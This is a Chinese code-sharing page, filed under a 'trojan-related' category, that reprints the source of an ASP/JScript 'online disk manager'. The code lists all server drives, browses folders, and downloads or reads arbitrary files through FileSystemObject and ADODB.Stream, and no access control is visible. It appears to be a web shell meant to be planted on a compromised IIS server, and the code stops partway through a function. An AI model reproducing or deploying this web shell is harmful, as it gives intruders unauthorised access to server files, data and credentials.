您现在的位置是:网站首页> 编程资料编程资料

asp javascript在线管理_木马相关_

2023-05-25 247人已围观

简介 asp javascript在线管理_木马相关_

复制代码 代码如下:

<%@LANGUAGE="JScript" CODEPAGE="936"%><%var sSelfPath = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")(1)).toLowerCase();var sUrl = Request.ServerVariables("URL")(1);var sAction = Request("a")+"";var sTarget = (Request("t")+"").toLowerCase();var sShowSmall = Request("s")+"";var CURRENT_DIRECTORY = Request.Cookies("Cc_Dm_CurrentFolder") + "";if(!isNaN(sShowSmall)){Response.Cookies("CC_Dm_ShowSmall")=sShowSmall;sQueryString = "";var e = new Enumerator(Request.QueryString);for (; !e.atEnd(); e.moveNext()){var x = e.item();if(x!="s"){sQueryString += x + "=" + Request.QueryString(x) + "&";};};Response.Redirect(sUrl+"?"+sQueryString);};sShowSmall = Request.Cookies("CC_Dm_ShowSmall");if(isNaN(parseInt(sShowSmall))) sShowSmall="0";function ShowError(e){Response.write("alert('COCOON Online Disk Manager 4.51 \\r\\n"+ "             Created by: COCOON Studio (www.ccopus.com)\\r\\n"+ "             Coding by: Sunrise_Chen (sunrise_chen@msn.com)\\r\\n"+ "提示信息: \\r\\n\\r\\n                "+ Str4Js(e.description) + "');history.back();window.close();<\/script>");Response.end();};function Str4Js(s){return (s+'').replace(/\\/g,"\\\\").replace(/\'/g,"'").replace(/\"/g,""");};function Cc_DiskManager(){try{this.fso = new ActiveXObject("Scripting.FileSystemObject");};catch(e){ShowError(e);};function FormatDateTime(dtDateTime){return new Date(dtDateTime).toLocaleString();};function GetTypeName(s){switch(s){case 0 : return "Unknown";case 1 : return "3.5 软盘";case 2 : return "本地硬盘";case 3 : return "Network";case 4 : return "CD 驱动器";case 5 : return "RamDisk";};};function GetAttribute(nAttrib,b){var a = new Array();if(nAttrib & 128) a[a.length] = (b?"C":"压缩");if(nAttrib & 64) a[a.length] = (b?"":"快捷方式");if(nAttrib & 32) a[a.length] = (b?"A":"归档");if(nAttrib & 16) a[a.length] = (b?"":"文件夹");if(nAttrib & 8) a[a.length] = (b?"":"卷标");if(nAttrib & 4) a[a.length] = (b?"S":"系统");if(nAttrib & 2) a[a.length] = (b?"H":"隐藏");if(nAttrib & 1) a[a.length] = (b?"R":"只读");if(nAttrib & 2048) a[a.length] = (b?"C":"压缩");return a.join((b?"":", "));};function GetIconByType_Driver(n){/*取得指定驱动器类型的图标*/switch(n){case 0 : return "=";case 1 : return "<";case 2 : return ";";case 3 : return "=";case 4 : return ">";case 5 : return "=";};};function GetIconByType_File(sFileName){var r = "." + sFileName;switch(r.substr(r.lastIndexOf(".")+1).toLowerCase()){case "txt" :return "2";case "exe": case "com": case "pif": case "bat":return "ÿ";case "jpg": case "gif": case "bmp": case "tiff": case "jpeg": case "tif" : case "png" :return "Ÿ";case "mp3": case "wav": case"mid" :return "¯";default :return "/";};};function FormatSize(nSize){if(nSize/Math.pow(1024,3)>0.9) return Math.round(nSize/Math.pow(1024,3)*100)/100 + " GB";else if(nSize/Math.pow(1024,2)>0.9) return Math.round(nSize/Math.pow(1024,2)*100)/100 + " MB";else if(nSize/1024>0.9) return Math.round(nSize/1024*100)/100 + " KB";else return "1 KB";/*nSize + " Bytes"*/};this.GetDriverList = function(){/*返回驱动器列表的数组*/var fso = this.fso;var a = new Array();var e = new Enumerator(fso.Drives);a[a.length] = new Array(bIsReady/*是否就绪*/, "y", "[Home] CCDM 4.51", "", Server.MapPath("."), 20, "", "", "", "","COCOON Online Disk Manager 4.51.4714", "Producted by Cocoon Studio (www.ccopus.com)", "Coding by Sunrise_Chen");for (; !e.atEnd(); e.moveNext()){var bIsReady = false;var x = e.item();try{bIsReady = x.isReady;};catch(e){bIsReady = false;};if(bIsReady){a[a.length] = new Array(bIsReady/*是否就绪*/, GetIconByType_Driver(x.DriveType)/*图标,用于显示*/, "" + GetTypeName(x.DriveType) + " (" + x.DriveLetter + ":)"/*名称,用于显示*/, GetTypeName(x.DriveType) + "(" + x.DriveLetter + ")", x.RootFolder/*根目录*/, 16/**/, GetTypeName(x.DriveType), "" + FormatSize(x.TotalSize) + "
", "" + FormatSize(x.AvailableSpace) + "
", "", "路径: " + x.RootFolder, "类型: " + GetTypeName(x.DriveType), "文件系统: " + x.FileSystem, "卷标: " + x.VolumeName, "总容量: " + FormatSize(x.TotalSize), "剩余容量: " + FormatSize(x.AvailableSpace));};else{a[a.length] = new Array(bIsReady, GetIconByType_Driver(x.DriveType), "" + GetTypeName(x.DriveType) + " (" + x.DriveLetter + ":)", GetTypeName(x.DriveType) + "(" + x.DriveLetter + ")", x.DriveLetter + ":\\", -1, GetTypeName(x.DriveType), "", "", "", "路径: " + x.DriveLetter + ":\\", "类型: " + GetTypeName(x.DriveType));};};return a;};/*function GetDriverList;*/this.CurrentFolder = null;this.GetFolderInfo = function(sFolderSpec){if(this.CurrentFolder) return this.CurrentFolder;var fso = this.fso;var a = new Array();try{var x = fso.GetFolder(sFolderSpec);};catch(e){ShowError(e);};a[a.length] = new Array(true, "0", "" + x.name + "", x.Name, x.Path, x.Attributes, "路径: \"" + x.Path + "\"", "属性: " + GetAttribute(x.Attributes));if(!x.isRootFolder){a[a.length-1]=(new Array).concat(a[a.length-1],Array("创建时间: " + FormatDateTime(x.DateCreated), "修改时间: " + FormatDateTime(x.DateLastModified), "访问时间: " + FormatDateTime(x.DateLastAccessed)))};try{a[a.length-1]=(new Array).concat(a[a.length-1],Array("", "目录数: " + x.subfolders.count + " ", "文件数: " + x.files.count + " "))};catch(e){a[a.length-1]=(new Array).concat(a[a.length-1],Array("", "错误: 没有权限"))};this.CurrentFolder = a;return a;};this.GetFolderList = function(sFolderSpec){var fso = this.fso;var a = new Array();var folder = fso.GetFolder(sFolderSpec);var e = new Enumerator(folder.SubFolders);if(!folder.isRootFolder){a[a.length] = new Array(true, "Í", "..", "",folder.ParentFolder,folder.ParentFolder.attributes,"","","","");};else{a[a.length] = new Array(true, ":", "..", "","","","","","","");};for (; !e.atEnd(); e.moveNext()){var x = e.item();a[a.length] = new Array(true, "0", "" + x.name + "", x.Name, x.Path, x.Attributes, "", x.Type, FormatDateTime(x.DateLastModified), GetAttribute(x.Attributes, true), "路径: \"" + x.Path + "\"", "属性: " + GetAttribute(x.Attributes), "创建时间: " + FormatDateTime(x.DateCreated), "修改时间: " + FormatDateTime(x.DateLastModified), "访问时间: " + FormatDateTime(x.DateLastAccessed));};var folder = fso.GetFolder(sFolderSpec);var e = new Enumerator(folder.Files);for (; !e.atEnd(); e.moveNext()){var x = e.item();a[a.length] = new Array(true, GetIconByType_File(x.name), "" + x.name + "", x.Name, x.Path, x.Attributes, FormatSize(x.size), x.Type, FormatDateTime(x.DateLastModified), GetAttribute(x.Attributes, true), "路径: \"" + x.Path + "\"", "类型: " + x.Type, "大小: " + FormatSize(x.size), "属性: " + GetAttribute(x.Attributes), "创建时间: " + FormatDateTime(x.DateCreated), "修改时间: " + FormatDateTime(x.DateLastModified), "访问时间: " + FormatDateTime(x.DateLastAccessed));};return a;};this.DownloadFile = function(sTarget){try{var fso = this.fso;var file = fso.GetFile(sTarget);var sFileName = file.name;var sFileSize = file.size;fso = null;var st = new ActiveXObject("ADODB.Stream");with(st) { mode=3; type=1; open(); loadFromFile(sTarget); };Response.addHeader("Content-Disposition", "attachment; filename=" + sFileName);Response.addHeader("Content-Length", sFileSize);Response.charSet = "UTF-8";Response.contentType = "application/octet-stream";Response.binaryWrite(st.read());st.close();st = null;};catch(e){ShowError(e);};Response.end();};this.ReadFile = function(sTarget){try{var sBody = "";var st = new ActiveXObject("ADODB.Stream");with(st) { charset="gb2312"; open(); loadFromFile(sTarget); sBody=st.readText(); close(); };st = null;return sBody;};catch(e){ShowError(e);Response.write("